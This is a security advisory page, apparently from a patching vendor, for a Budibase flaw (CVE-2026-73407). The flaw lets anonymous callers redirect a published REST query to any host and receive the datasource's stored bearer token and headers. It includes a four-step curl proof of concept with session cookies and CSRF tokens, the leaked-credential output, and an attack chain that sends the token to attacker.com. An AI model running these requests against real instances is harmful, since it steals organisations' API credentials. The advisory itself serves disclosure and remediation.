Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-73407

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak
Back to all
CVE

CVE-2026-73407

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak

Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts_req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

POC 

Reproduction — copy each line, paste in your terminal, press Enter, 

Line 1:

DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID"
RESPONSE
datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19

Line 2:

QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID"

RESPONSE

query=querydatasource9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7

Line 3:

curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published

RESPONSE

published

Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTHLEAKTOKEN_5150):

curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}'

RESPONSE 

{"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"/","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATICHDRLEAK4242","authorization":"Bearer UNAUTHLEAKTOKEN5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"dd.p.tid=6a56b19a00000000,dd.p.llmobsmlapp=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"}  

Actual output of Line 4 (the leaked credential)

The anonymous request returns HTTP 200; the outbound headers echoed by postman-echo.com contain the datasource's stored, otherwise-masked credentials:

{"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]}

authorization: Bearer UNAUTHLEAKTOKEN_5150 and x-static-secret: STATICHDRLEAK_4242 were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.

Full Real-World Attack

1. A builder has a REST datasource with stored auth (Bearer/API key) and a query
   whose path uses a parameter, published at PUBLIC (customer-facing app).
2. The attacker needs no account. They read the published app id + query id from
   the published app, then send ONE request:
     POST /api/v2/queries/<queryId>
     x-budibase-app-id: <prodAppId>
     {"parameters":{"t":"https://attacker.com/collect"}}
3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.
4. attacker.com logs the header => the datasource's secret token.
5. The attacker calls the third-party API directly as the victim organisation.

Impact

| Who / what is affected | How |

|---|---|

| Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated |

| The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) |

| Unauthenticated attackers | One request, no login, no CSRF, no user interaction |

| The credential-masking control | Fully defeated - masked secrets recovered in cleartext |

Recommended Fix

  1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.
  2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.
  3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9
-
4.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/Budibase/budibase/security/advisories/GHSA-mqhr-6j6h-74p5, https://github.com/Budibase/budibase/pull/19239, https://github.com/Budibase/budibase/commit/8b1bca71501b11c68310351ef4f2c3028b2d5f08, https://github.com/Budibase/budibase, https://github.com/Budibase/budibase/releases/tag/3.40.1

Severity

0

CVSS Score
0
10

Basic Information

Base CVSS
0
EPSS Probability
0.00422%
EPSS Percentile
0.35066%
Introduced Version
0
Fix Available

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading